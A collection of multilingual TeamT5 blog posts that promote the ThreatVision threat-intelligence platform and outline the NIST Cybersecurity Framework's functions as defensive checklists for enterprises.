戰略威脅情資對於負責決策的高階管理人員至關重要，它可以協助企業洞察整體的威脅形勢，識別針對企業的惡意攻擊者，並闡明攻擊者的目標。

### 營運威脅情資
對於安全營運中心 (SOC) 領導者和分析師來說至關重要，營運威脅情資協助企業專了解惡意攻擊者技術，並積極預防潛在威脅。

### 戰術威脅情資
此類對於快速事件應變團隊 (incident response team) 來說非常重要，特別是戰術威脅情資提供精確的入侵指標 (IOC)，協助企業評估當前情況並採取適當措施，減輕、解決資安威脅。

 

## ThreatVision 特點
ThreatVision 提供全面的威脅情資功能庫，滿足各種網路安全團隊成員的需求，更能增強內部協作和回應效率。

- **入侵指標 (IOC)**：IOC 提供快速威脅識別，並作為追蹤企業內攻擊來源的重要線索。
- **威脅狩獵工具**：這些工具提供直接檢測功能，可快速了解當前環境並識別潛在問題。
- **情資報告**：TeamT5 最著名的資源，情資報告提供對駭客行為的多維度分析，讓您更深入地了解事件和惡意攻擊者行為背後的動機。
- **惡意攻擊者和惡意軟體庫**：包含有關惡意攻擊者組織、惡意軟體的第一手文件的綜合庫，使企業能夠了解威脅來源。
- **RFI 服務**：分析師為客戶提供客製化報告和工具服務。
- **API 服務**：可快速整合平台資源，方便自動化。

 


##透過可行的威脅情資滿足客戶需求
ThreatVision 透過其多樣化的產品滿足各種客戶需求：

### 威脅識別與技術細節
ThreatVision 可以快速識別惡意軟體和攻擊者，並提供他們常用的技術細節、背景和攻擊方法。 本平台為企業的資訊安全團隊提供一站式情資平台，以利更有效地分配安全預算。

### 自動分析沙箱服務
該服務提供快速的自動化分析，讓使用者可以選擇特定樣本，由 TeamT5 的專家分析師進行進一步的手動分析。

### 客製化情資調查諮詢服務
TeamT5 提供量身訂製的服務，以滿足情資調查和諮詢需求。

### 威脅追蹤工具和 API 整合
ThreatVision 的威脅狩獵工具有助使用者主動確認自身情況並確保環境安全。 API 服務提供更簡易的資料獲取途徑，減輕人員負擔，並有利於整合到企業的自動化流程中。

 

## 透過報告提供可行的情資
ThreatVision 的情資報告分為三類：亞洲 APT、漏洞和網路事務。 這些報告為決策和回應提供了寶貴的見解。

 

![pic_how-threat-vision-helps-fight-against-apts-through-cyber-threat-intelligence.jpg](https://uploads.teamt5.org/upload/original/pic_how-threat-vision-helps-fight-against-apts-through-cyber-threat-intelligence.jpg)

 

### APT 威脅情資週報
TeamT5 在 APT 威脅情資週報（又稱 Flash Report）提供及時、準確且可妥善利用的情資。 使用者可以使用週報，獲得最新 APT 入侵的即時警報。週報於每週發布兩次，每個報告都詳細說明了特定的目標攻擊並提供所有必要的 IOC。


### 威脅族群追蹤報告
威脅族群追蹤報告（又稱 CTR）提供 TeamT5 真對重大惡意攻擊者團體和活動的全面分析。 使用者可以利用此報告，以更廣闊的視角，深度了解對亞太地區威脅情勢和挑戰。 

TeamT5 在每個季度末發布兩個威脅族群追蹤報告。 每份威脅族群追蹤報告都提供對特定威脅團體/活動的深入分析，涵蓋過去 2-3 年的戰術、技巧和程序 (TTP)、目標範圍等。 此外，本報告在第二季末和第四季末提供了 APT 威脅態勢分析，涵蓋過去兩個季度的重大事件、熱門 TTP、受到威脅族群鎖定的產業以及重大惡意軟體/APT。

### APT 威脅情資月報
TeamT5 的APT 威脅情資月報提供亞太地區的策略性和可指引防禦行動的威脅情資。月報將網路攻擊與最近的政治事件、政策和外交事務脈絡進行連結與分析，因此使用者可以運用此報告來了解最新趨勢和當前威脅情勢。

此報告每月發布，每份月報總結了過去一個月亞太地區發生的 APT 攻擊案例。

### 亞太網路雙週報
TeamT5 的亞太網路雙週報提供有關中文網路世界的策略網路情資，藉此報告使用者可以了解新興超級大國中國的網路能力。 

雙週報每兩週發布一次。每份報告快速回顧中文網路世界的網路安全新聞，涵蓋最新政策、法規和網路事件。

### 漏洞情資報告
TeamT5 的漏洞情資報告（又稱 VIR）提供了關鍵且高度可利用的漏洞之技術詳細資訊。 使用者可以運用此報告，減輕這些漏洞所造成的威脅。 

此報告每兩週發布一次。每份報告都專注於一個關鍵且高度可利用的漏洞。 此外，VIR 描述了可能的攻擊場景並提供偵測工具。


### 漏洞修補管理報告
TeamT5 的漏洞修補管理報告（又稱 PMR）提供了所有關鍵且高度可利用的漏洞的所有相關資訊。 使用者可以使用此報告，來確定補丁管理的優先順序。 

漏洞修補管理報告為每兩週更新一次。每個報告都以表格形式總結了該期間約 100 個最關鍵的漏洞，並列出了有關這些漏洞的所有基本資訊，例如受影響的產品、補丁詳細資訊，甚至公開可用的 PoC 程式碼。

 

##結論
ThreatVision 由 TeamT5 開發，是對抗進階持續性威脅的關鍵。 憑藉我們在亞太地區無與倫比的專業知識，ThreatVision 提供具可妥善利用的威脅情資，使政府和公司能夠做出明智的決策、主動管理風險並快速回應網路事件。

隨著網路威脅情勢的不斷發展，ThreatVision 隨時能保護企業、組織，並確保數位世界免受 APT 攻擊。

獲得解決方案試用、了解更多資訊，請立刻聯絡我們: [https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

如何透過 ThreatVision 威脅情資平台，對抗進階持續性威脅(APT)

今日のデジタル環境において、サイバーセキュリティは世界中の政府や企業にとって最も注視すべきものの 1 つとなっています。 高度標的型攻撃 (APT) などの複雑で常に進化し続けるサイバー脅威の台頭により、企業や組織は、これらに対し効果的に対処するための強力で専門的なツールを必要としています。 ここで、TeamT5 の脅威インテリジェンス プラットフォームである [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) が的確に求められる役割を果たし、幅広い専門知識と脅威インテリジェンスを提供して、アジア太平洋地域の政府や企業をサポートします。

 

## TeamT5とThreatVision

TeamT5 はアジア太平洋地域の脅威インテリジェンス研究に重点を置いており、20 年以上にわたり、この地域におけるサイバー脅威インテリジェンス研究のトップブランドとして高く評価されています。 当社の言語的利点と豊富な地政学的知識は、10 年間にも及ぶマルウェアと APT 研究の経験と相まって、APT 攻撃グループ、特に中国からの攻撃グループに対する深い理解と研究能力をもたらしています。 また、当社の専門知識により、世界クラスのカンファレンスから招待されることもあり、アジア太平洋地域、特に中国の脅威に対抗しようとしている組織にとって、当社のAPT脅威インテリジェンスは的確な情報源としてさらに評価されています。

## 脅威インテリジェンスの重要性
脅威インテリジェンスは、企業のサイバーセキュリティ戦略において非常に重要となる意思決定者、リスク管理者、インシデント対応者のサポートを行うことが可能です。 TeamT5 は、以下の脅威インテリジェンスを特に重要視しています。

### 戦略的脅威インテリジェンス
意思決定を担当する上級管理者にとって重要です。企業が全体的な脅威状況を把握ならびに企業を標的とする悪意のある攻撃者を特定し、攻撃者の目的を明確にすることに役立ちます。

### 運用的脅威インテリジェンス
セキュリティオペレーションセンター (SOC) のリーダーやアナリストにとって重要です。組織が悪意のある攻撃者のテクニックを理解し、潜在的な脅威を積極的に阻止することに役立ちます。

### 戦術的脅威インテリジェンス
インシデント対応チーム にとって重要であり、企業が現在の状況を評価し、セキュリティにおける脅威を軽減ならびに解決するための適切な措置を講じるのに役立つ侵害指標 (IOC) を提供します。

 

## ThreatVision の機能
ThreatVision は、さまざまなサイバーセキュリティチームメンバーのニーズを満たすため、脅威インテリジェンス機能の包括的なライブラリを提供し、社内連携と対応効率を強化します。


- **侵害指標 (IOC)**: 脅威を迅速に特定し、企業内の攻撃元を追跡する際の重要な手がかりとして機能します。
- **脅威ハンティング ツール**: 現在の状況を迅速に理解し、潜在的な問題を特定するための直接検出機能を提供します。
- **インテリジェンスレポート**: TeamT5が最も売りとしており、ハッキング行為の多次元分析を提供し、インシデントと悪意のある攻撃者による行為の背後にある動機をより深く理解することが可能になります。
- **攻撃者とマルウェアのライブラリ**: 攻撃者グループや直接入手したマルウェアに関するドキュメントの包括的なライブラリを提供しており、これにより、組織は脅威の原因を理解できます。
- **RFI サービス**: 当社アナリストが、カスタマイズされたレポートとツールサービスを提供します。
- **API サービス**: プラットフォームのリソースを迅速に統合し、自動化を促進します。

 

##顧客のニーズに答えた実用的な脅威インテリジェンス
ThreatVision は、さまざまな製品を通じて多くの顧客のニーズに応えます。

### 脅威の特定とテクニックの詳細
ThreatVision はマルウェアと攻撃者を迅速に特定し、テクニックの詳細、背景、彼らが一般的に使用する攻撃方法を提供します。企業のセキュリティチームにとってワンストップのインテリジェンスプラットフォームとして機能し、セキュリティ予算をより効果的に割り当てるのに役立ちます。


### サンドボックスサービスの自動分析
迅速な自動分析を提供しており、ユーザーは特定のサンプルを選択することで、TeamT5 の専門アナリストによる手動分析を行うこともできます。


### カスタマイズされたインテリジェンス調査およびコンサルティング サービス
TeamT5 は、インテリジェンス調査とコンサルティングのニーズに合わせてカスタマイズされたサービスを提供します。


### 脅威ハンティング ツールと API の統合
ThreatVision の脅威ハンティングツールは、ユーザーが状況を積極的に特定し、環境のセキュリティを確保するのに役立ちます。また、 API サービスにより、簡単にデータへアクセスでき、人員の負担が軽減され、企業の自動化プロセスへの統合が容易になります。





## レポートを通じて実用的なインテリジェンスを提供
ThreatVision のインテリジェンスレポートは、アジアの APT、脆弱性、サイバーインシデントの 3 つのカテゴリに分類されます。 これらのレポートは、意思決定と対応のための貴重な知見を提供します。

 
![pic_how-threat-vision-helps-fight-against-apts-through-cyber-threat-intelligence.jpg](https://uploads.teamt5.org/upload/original/pic_how-threat-vision-helps-fight-against-apts-through-cyber-threat-intelligence.jpg)
 


### APT in Asia Flash Reports
 TeamT5のAPT in Asia Flash（別名Flash Report）は、タイムリーで正確かつ実用的なインテリジェンスを提供します。ユーザーはFlash Reportsを使用して、最新のAPT侵入に関するリアルタイタイムのアラートを得ることができます。Flash Reportsは週2回発行されます。各Flash Reportは、特定の標的型攻撃を詳述し、必要なすべてのIOCを提供します。




### APT Campaign Tracking Reports
 APT Campaign Tracking Report（通称CTR）は、重要な脅威グループとキャンペーンに関するTeamT5の包括的な知見を提供します。ユーザーはCTRを使用して、アジア太平洋地域のトレンドと課題をより広い視野深く理解することができます。
TeamT5では、毎四半期末に2つのCTRを発行しています。各CTRには、特定の脅威グループ／キャンペーンについて、過去2～3年間のTTP、標的範囲などを網羅した詳細な分析を提供しています。さらに、第2四半期末と第4四半期末には、過去2年の四半期における主なインシデント、人気の高いTTP、最も標的とされた業界、重大なマルウェア/APTを網羅したレポートを提供しています。






### APT in Asia Monthly Reports
TeamT5のAPT in Asia Monthly（通称マンスリーレポート）は、アジア太平洋地域における戦略的かつ実用的なインテリジェンスを提供します。マンスリーレポートは、サイバー攻撃と最近の政治的な出来事、政策、外交問題との接点を結び付けて分析しているので、最新のトレンドや現在の脅威の状況を理解することができます。マンスリーレポートは毎月発行しており、各レポートは、過去1ヶ月間にアジア太平洋地域で発生した13～16件のAPT攻撃事例を要約しています。


### Cyber Affairs Biweekly Reports
 TeamT5のCyber Affairs Biweekly Report（通称Biweekly Report）は、中国語圏のサイバー世界に関する戦略的サイバーインテリジェンスを提供します。ユーザーは、新興の超大国である中国のサイバー能力を理解することができます。Biweekly Reportは2週間ごとに発行される。各レポートは、最新の政策、規制、サイバーインシデントを網羅し、中国語圏のサイバー世界におけるサイバーセキュリティニュースを素早く総括します。



### Vulnerability Insights Reports
TeamT5のVulnerability Insights Report（別名VIR）は、重大かつ悪用される可能性の高い脆弱性に関する技術的な詳細を提供します。ユーザーは、このレポートを通してこれらの脆弱性がもたらす脅威を軽減することができます。VIRは2週間ごとに発行され、各VIRは、1つの脆弱性に焦点を当てています。さらに、VIRは想定される攻撃シナリオを描写し、検出ツールを提供します。


### Patch Management Reports
TeamT5のPatch Management Reports（通称PMR）は、重大かつ悪用される可能性の高い脆弱性に関するすべての関連情報を提供します。ユーザーは、PMRを通して、パッチ管理の優先順位を決めることができます。PMRは2週間ごとに更新され、各レポートは、その期間中に最も重大とされた約100件の脆弱性を表にまとめており、さらに影響を受けた製品、パッチの詳細、一般公開されているPoCコードなど、脆弱性に関するすべての重要な情報をリストアップしています。


 

＃＃結論
TeamT5が開発したThreatVisionは、高度で持続的な脅威に対抗するための鍵となります。アジア太平洋地域における比類のない専門知識により、ThreatVisionは実用的な脅威インテリジェンスを提供し、政府や企業が情報に基づいた意思決定を行い、積極的なリスク管理とサイバーインシデントへの迅速な対応を可能にします。

サイバー脅威が進化し続ける中、ThreatVisionは組織を保護し、APT攻撃からデジタル世界を守るサポートを積極的に行います。


製品デモの依頼、詳細情報を詳しく知りたい方はお気軽にお問い合わせください。
[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

ThreatVision 脅威インテリジェンス プラットフォームを活用して高度標的型攻撃 (APT) に対抗するには

脅威インテリジェンスは情報セキュリティ防御の基礎であると主張し、アクション指向のローカル インテリジェンスの提供に重点を置いています。 クライアントが攻撃を予測し、事前に防御戦略を展開し、損失のリスクを軽減するのを支援します。

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/xbK3-oQVaJs?si=EP1DqSbNQuBSkffK" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
</center>

ThreatVision は、リアルタイム警告、技術データ、OSINT 分析、精密 APT 調査を提供する、顧客参加型の脅威情報のプラットホームです。当社のプラットフォームは、作戦行動から戦略計画まで、脅威情報を適用するための多段階のアプローチを用意しており、既知のサイバー脅威や潜在的なサイバー脅威を正確に判断することができます。

インテリジェンスがサイバー防御を推進: ThreatVision

We believe that threat intelligence is the cornerstone of cyber defense. We provide action-oriented and localized intelligence to help enterprises foresee cyber attacks and deploy defense strategies in advance.

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/KB_U_oJIi2Q?si=e_VvRIP7W9vp86eW" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
</center>

ThreatVision is TeamT5's customer-engaged threat intelligence platform that provides early warnings, technical data, OSINT analysis, and in-depth APT investigation. Our platform possesses multi-level approaches to apply intelligence, from operational actions to strategic planning, which allows implementing precise measures to occurred or hidden threat.

Intelligence-Driven Cyber Defense: ThreatVision

TeamT5 威脅情資團隊創立於台灣，深耕亞太區域，具備逾20年的威脅情資研究資歷、逾1,000件資安事件應變與處理經驗，提供來自亞太區域、與臺灣企業最切身相關的深度威脅情資。

ThreatVision 威脅情資平台適用於需要資安風險預測與預防之企業，及希望優化資安決策、透過入侵指標快速應變的企業。

了解更多: [https://teamt5.org/tw/products/threatvision/](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website)

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/1kaL4WqOG38" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
</center>

情資驅動資安防禦: ThreatVision 威脅情資平台

NIST サイバーセキュリティフレームワークは、米国標準技術研究所によって提案された体系的、標準的フレームワークです。企業が自社でサイバーセキュリティの欠陥を調べ、具体的な計画を持って防御強化をすることに役立ちます。 [基本的な紹介](https://teamt5.org/jp/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/)については、こちらの記事をご参照ください。

当記事では、NIST サイバーセキュリティフレームワークのコアを構成する5つの機能に基づいた、企業がサイバーセキュリティの状況を確認する方法をご紹介します。これにより、企業がサイバー防御能力を強化し、セキュリティの強靭性を高める目標の達成を促します。


## 識別(Identify)

企業の情報資産リストを作成し、保護する必要がある重要な情報資産を明確にします。同様に、ソフトウェアのリストを作成して、どのソフトウェアに脆弱性があるかを把握し、製造元の情報を参照しながらアップデートを行います。

また、データ管理ポリシー、システム特権アカウント管理リストなどを作成し、社内のサイバーセキュリティ状況を把握します。その他、具体的に実施できる事項は、321原則に従った、データのバックアップ、外部サービスパートナー（サイバーセキュリティチーム、法務チーム、広報チーム）の準備、サイバーセキュリティの保険加入、教育訓練の実施、サイバーセキュリティ訓練の実施などが挙げられます。

## 防御(Protect)

攻撃者が侵入する経路を遮断、及び考えられるすべての攻撃経路に保護を施して、完全なアクセス制御を行い、最小特権の原則を採用します。

具体的な対策は以下の通りです。

**設定:**
- ネットワークセグメントの計画策定と実施
- セキュリティポリシーの設定、継続的なメンテナンスと確認：システムアカウント、ファイアウォール、外部サービス

**アカウント:**
- アカウントセキュリティポリシーと継続的な確認
- アカウント管理、パスワード設定、アクセス権限の適用と停止、特権アカウントの設定と管理
- 外部からアクセス可能なアカウントポリシーと管理:MFA、最小権限

**脆弱性管理:**
- 脆弱性の管理、更新プロセス、アクセス管理、セキュリティ保証のメカニズム

**防御:**
- 様々な侵入経路に対する防御策の確立:IPS、WAF、EPPなど
- 防御メカニズムが最新であることの確認
- 侵入経路の制限と管理: 例)USBを使用しない


## 検知(Detect)
完全な記録(ログ)を収集並びに不審なトラフィックや行動を監視するメカニズムを導入し、異常な動作を積極的に探すことが重要です。

また、サイバーセキュリティソリューションが発するアラートについても、重要なアラートを区別、及び攻撃の状況を把握し、サイバーセキュリティ対応に適切なリソースを投入することが肝心です。


## 対応(Respond)
フレームワークの中核となる「対応」の目的は、損失を最小限に抑え、状況を迅速に解決し、侵入の原因を特定することです。
上記のステップを段階的に実行することで、企業の損失を最低限に減らすことができます。したがって、実際のセキュリティインシデントが発生した場合に適切な対応ができるよう、平時からチームメンバーがどのように対応すべきかを具体的に定めたインシデント対応計画を策定する必要があります。

具体的に実行可能な対策は以下の通りです。

**ヒエラルキーコントロール**
- 被害状況や影響範囲の確認、状況の制御、損失の軽減

**記録**
- 証拠の保全、様々なシステムログ収集メカニズム、集中化やバックアップの確保

**調査**
- 侵入原因の追跡と被害状況の把握

**連絡**
- 社内窓口、社外窓口、報告窓口、責任者、コーディネーター、社内外への状況説明
- 外部チームの支援と通報
- 法務、広報、保険会社へ協力の要請

**チーム**
- セキュリティインシデント対応チームへ支援の要請(詳細については、こちらの記事をご参照ください)

**ポリシー**
- サイバーセキュリティインシデント対応(incident response)プロセス
- 標準化された通知プロセス
- コンプライアンス

 
 
さらに、ランサムウェアによる攻撃を受け、攻撃者がデータの身代金を要求してきた場合、企業は交渉の計画を立て、身代金の支払いに備える必要もあります。

 
 

>TeamT5はアジア太平洋地域におけるサイバー脅威の研究を専門としているサイバーセキュリティ・ソリューションプロバイダーです。脅威インテリジェンスを主軸にしたサービスを提供しており、脅威アクターの監視、分析、追跡を行い、顧客のエンドポイントを標的型攻撃からお守りします。
>
>米国、台湾、日本の幅広い業界の顧客にサービスをご利用いただいております。
>
>企業のサイバーセキュリティ対策は簡単に実施できます。ご興味のある方は、是非お問い合わせください。：
https://teamt5.org/tw/contact-us/

NIST サイバーセキュリティフレームワークに基づいて、企業のサイバーセキュリティ状況を確認するには?

The NIST Cybersecurity Framework is proposed by the U.S. National Institute of Standards and Technology. Through systematic and structured standards, it helps companies examine the deficiencies of their own cybersecurity defenses and make enhancements for specific projects. For a basic introduction, please refer to [this article](https://teamt5.org/en/posts/what-is-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website).

Based on the five areas of the NIST Cybersecurity Framework, this article provides tips for checking the status of enterprise cybersecurity defenses, aiming to help enterprises & organizations enhance their cybersecurity defense capabilities and achieve high-level cybersecurity resilience goals.

## Identify
First, you need to make a list of corporate digital assets to clarify which are important digital assets and need to be protected. You also need to make a list of software to understand which software may have vulnerabilities. You need to refer to the original manufacturer information and update it.

Enterprises should also establish data management policies, system privileged account management lists, etc., to understand the internal cybersecurity situation. Other specific matters that can be carried out include: following the 321 principle and backing up data; preparing external service partners (cybersecurity team, legal team, public relations team), purchasing cybersecurity insurance, conducting education and training, and conducting cybersecurity drills.


## Protect
Enterprises should block the channels for attackers to invade, add protection to all possible attack channels, conduct complete permission control, and adopt the principle of least privilege.

Specific measures include:

 
**Setting:**
- Network segment planning policies and implementation
- Security setting policy and ongoing maintenance and confirmation: system accounts, firewalls, external services

 
**Account:**
- Account Security Policy and Continuous Verification
- Account management, password specifications, permission application and deactivation, privileged account specifications and management
- Externally accessible account policy and management: MFA, least privilege

 
**Vulnerability management:**
- Vulnerability management and update process, rights and responsibilities, and assurance mechanism

 
**Defense:**
- Establish defense measures against various intrusion channels: IPS, WAF, EPP, etc.
- Ensure defense mechanisms are updated
- Intrusion pipeline restriction and management: for example: disabling flash drives

## Detect
It is recommended that enterprises collect complete records (logs), deploy suspicious traffic or behavior monitoring mechanisms, and proactively look for any suspicious traffic or behavior.

Regarding the alerts issued by the cybersecurity solution, important alarms should also be distinguished, and the attack situation should be understood from them, so that appropriate resources can be deployed for the cybersecurity response.

## Respond
The goal of "response" is to minimize losses, quickly resolve situations, and find the cause of the intrusion.

If the above steps can be implemented in a step-by-step manner, it will help reduce corporate losses. Therefore, companies should formulate incident contingency plans at ordinary times, specifically listing how team members should respond when encountering a security incident, so as to avoid the actual occurrence of security incidents. Failure to respond appropriately.

Specific executable measures include:
 
 
**Control hierarchy**
- Confirm the damage and scope of impact, control the situation, and reduce losses

 
**Record **
- Retain evidence and ensure various system log collection mechanisms, centralization and backup

 
**Investigation**
- Tracing the cause of the intrusion and assessing the damage

 
**Contact**
- Internal and external contact, reporting window and rights and responsibilities, coordination, internal and external explanations
- External team assistance and reporting
- Seek assistance from legal affairs, public relations, and insurance companies

 
**Team**
- Seek assistance from the security incident response team (please refer to this article for details)

 
**Policy**
- Cybersecurity incident response (incident response) process
- Standardized notification process
- Compliance

## Recovery 
The goal of "recovery" at the core of the framework is the data backup and recovery mechanism. Enterprises should do system recovery and service recovery according to standard procedures. And it’s crucial for enterprises to formulate a disaster recovery plan and business continuity plan in advance, and execute drills.

 

In addition, if you are attacked by ransomware and the attacker demands a ransom for your data, companies must also plan for negotiations and prepare for ransom payments. 

 
 

>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
 
>Contact us and start cyber defense plan: [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

How to Check  the Cybersecurity Defense Status of the Enterprise  according to the NIST Cybersecurity Framework?

NIST 資安框架由美國國家標準與技術研究所提出，透過有系統、有架構的標準，協助企業檢視自身資安防禦的不足，並針對特定項目進行補強。基本介紹可參考[此文](https://teamt5.org/tw/posts/what-is-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)。

本文依據 NIST 資安框架的5大框架核心，提供檢查企業資安防禦狀況的訣竅，希望協助企業增強資安防禦力，達成高度資安韌性目標。

##Identify 辨識
首先需列出企業資訊資產清單，釐清哪些是重要資訊資產，需要保護；也需列出軟體清單，以便掌握哪些軟體可能存在漏洞，需參考原廠資訊、進行更新。

企業也應建立資料管理政策、系統特權帳號管理清單等，掌握內部資安全貌。其他可以進行的具體事項還包含：遵循321原則，進行資料備份；準備外部服務合作對象 (資安團隊、法務團隊、公關團隊)、採購資安險、進行教育訓練、進行資安演習。


##Protect 保護
企業宜堵住攻擊者入侵的管道，在所有可能攻擊途徑加上防護，進行完整權限控，並採取最低權限原則。

具體措施包含：
 
 
**設定層次：**
- 網段規劃政策與落實
- 安全設定政策與持續維護與確認: 系統帳號、防火牆、對外服務

**帳號層次：**
- 帳號安全政策與持續確認
- 帳號管理、密碼規範、權限申請與停用、特權帳號規範與管理
- 外部可存取帳號政策與管理: MFA、最低權限

**漏洞管理層次：**
- 漏洞管理與更新流程、權責，和確保機制

**防禦層次：**
- 針對各種入侵管道建立防禦措施: IPS, WAF, EPP 等
- 確保防禦機制的更新
- 入侵管道限制與管理: 例如停用隨身碟


##Detect 偵測
建議企業完整收集紀錄 (log)，部署可疑流量或行為監控機制，並主動找尋任何可疑流量、行為。

針對資安解決方案發出的告警(alert)，也應區別出重要的告警，並從中了解攻擊態勢，才能部署適當的資源，進行資安應變。

##Respond 應變
框架核心「應變」之目標為極小化損失、快速解決狀況、找到入侵原因。

上述步驟若能有按步驟實施，有助降低企業損失，因此企業平時即應制定事件應變計畫，具體列出遭遇資安事件時，團隊成員該如何應對，才能避免資安事件實際發生時，未能妥善應對處理。

具體可執行的措施包含：
 
**控制層次**
- 確認損害、影響範圍，控制狀況，降低損失

**紀錄層次**
- 保留證據，確保各種系統 log 收集機制、集中與備份

**調查層次**
- 追查入侵原因與損害評估

**聯繫層次**
- 對內對外聯繫、回報窗口與權責、協調、對內外說明
- 外部團隊協助、報案
- 尋求法務、公關、保險公司協助

**團隊層次**
- 尋求資安事件應變團隊協助 ( 詳細可參考[本文](https://teamt5.org/tw/posts/how-to-collaborate-with-incident-response-team/?utm_source=blog&utm_medium=website) )

**政策層次**
- 資安事件應變(incident response)流程
- 標準化通報流程
- 法規遵循

##Recovery 復原
框架核心「復原」的目標為資料備份與復原機制，企業應按標準流程進行系統復原、服務復原，因此事先制定災害復原計畫(disaster recovery plan)、營運持續計畫(business continuity plan)，並執行演習，十分關鍵。

此外，若是遭勒索軟體(ransomware)攻擊，攻擊者要求為資料支付贖金，企業也須規劃談判、贖金付款準備。( 防患於未然，防禦勒索軟體攻擊的詳細作法可參考[此文](https://teamt5.org/tw/posts/how-enterprise-can-do-to-protect-from-ransomware-attack/?utm_source=blog&utm_medium=website) )

 
關鍵字: NIST 網路資安框架、NIST CSF
 
 

>TeamT5 杜浦數位安全團隊專精網路威脅研究，提供端點偵測與回應(EDR)解決方案。協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響。
 
>輕鬆展開企業資安防禦第一步，立即聯絡我們：[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

如何依據 NIST 資安框架，檢查企業資安防禦狀況?

## NIST サイバーセキュリティフレームワークとは?

NIST サイバーセキュリティ フレームワークとは、米国標準技術研究所によって提案された体系的、標準的フレームワークです。企業が自社でサイバーセキュリティの欠陥を調べ、具体的な計画を持って防御強化をすることに役立ちます。

 サイバーセキュリティフレームワークは、フレームワークコア（Framework Core）、インプリメンテーションティア（Implementation Tier）、フレームワークプロファイル（Framework Profile）の 3 つの要素で構成されており、企業の様々な部門のメンバーが統一された文書に基づき、サイバーセキュリティ対策について議論できます。
 
## NIST サイバーセキュリティ フレームワークのコアとなる機能とは?

当記事では、5 つの機能に分かれている NIST サイバーセキュリティフレームワークのコアについて具体的に説明します。


**1. 識別 (Identify)**
 
サイバーセキュリティの防御範囲を把握し、遭遇する可能性のあるサイバー脅威の理解を深めます。

**2. 防御 (Protect)**
 
システムの権限を適切に管理し、基礎となるサイバー防御を確立します。

**3. 検知 (Detect)**
 
IT環境とエンドポイントデバイスの稼働状況を包括的に監視し、不審なソフトウェアの動作を適宜検知ならび記録を保存します。 利用可能なツールには、EDRなどがあります。

**4. 対応 (Respond)**
 
ソフトウェアの不審な動作を検知した場合、営業上の損失を回避するために、迅速に対応し、徹底的に調査します。

**5. 復旧 (Recovery)**
 
ソフトウェアの不審な動作により、実際にシステムへの損害やデータ漏洩などが発生した場合は、サイバーセキュリティの専門家にシステムの対処と復旧を依頼します。また、 今後同様のデータセキュリティ損傷を回避するため、復旧プロセスのレビュー記録も作成されます。

##NISTサイバーセキュリティフレームワーク2.0の簡単な紹介
2024年、NISTはサイバーセキュリティフレームワークのバージョン2.0を発表し、合計6つのコアを追加しました。前述の「識別」「防御」「検知」「対応」「復旧」の5つに加え、ネットワーク・サイバーセキュリティ戦略を策定、実行する際の指針となる新たなコア「ガバナンス」が追加されました。

このバージョンの適用範囲は、重要インフラだけでなく、さまざまな業界の企業や組織も含まれており、このフレームワークに従い、サイバーセキュリティを展開することができます。

![pic_what-is-nist-cybersecurity-framework.png](https://uploads.teamt5.org/upload/original/pic_what-is-nist-cybersecurity-framework.png)
<center>Source: National Institute of Standards and Technology (NIST)</center>


 
 

>TeamT5はアジア太平洋地域におけるサイバー脅威の研究を専門としているサイバーセキュリティ・ソリューションプロバイダーです。脅威インテリジェンスを主軸にしたサービスを提供しており、脅威アクターの監視、分析、追跡を行い、顧客のエンドポイントを標的型攻撃からお守りします。
>
>米国、台湾、日本の幅広い業界の顧客にサービスをご利用いただいております。
>
>企業のサイバーセキュリティ対策は簡単に実施できます。ご興味のある方は、是非お問い合わせください。：
>https://teamt5.org/tw/contact-us/

NIST サイバーセキュリティフレームワークとは? コアとなる機能は?

## What is the NIST Cybersecurity Framework?

The NIST Cybersecurity Framework is proposed by the U.S. National Institute of Standards and Technology. Through a systematic and complete framework of standards, it helps enterprises examine the deficiencies of their own security defenses and strengthen them for specific projects.

The NIST Cybersecurity Framework consists of three aspects, including Framework Core, Implementation Tiers, and Framework Profiles, so that members from various departments of the enterprise can discuss cybersecurity defense measures based on the same set of documents.

## What are the Core Concepts of the NIST Cybersecurity Framework?

This article specifically explains the core of the NIST Cybersecurity Framework, which is divided into 5 aspects, including:

**1. Identify**

Enterprises should understand the scope of cybersecurity defense and understand the cybersecurity threats they may encounter.


**2. Protect**

Enterprises should control authority and establish basic cybersecurity defenses.


**3. Detect**

Enterprises should comprehensively monitor the information technology environment and the operating status of endpoint devices to detect suspicious software behavior in a timely manner and also keep complete records. Tools available include endpoint detection strain solutions.


**4. Respond**

If an enterprise detects suspicious software behavior, it should respond quickly and investigate thoroughly to avoid operating losses.


**5. Recovery **

If suspicious software behavior causes actual damage to the system, data leakage, etc., you should seek cybersecurity experts to handle and restore the system. A review record of the recovery process will also be made to avoid similar data security damage incidents in the future.


## Brief Introduction to NIST Cybersecurity Framework 2.0
In 2024, NIST released version 2.0 of the Cybersecurity Framework, with a total of six cores. In addition to the aforementioned five cores - identify, protect, detect, respond, recover, a new core "Govern" is added to guide organizations in formulating and executing network cybersecurity strategy.

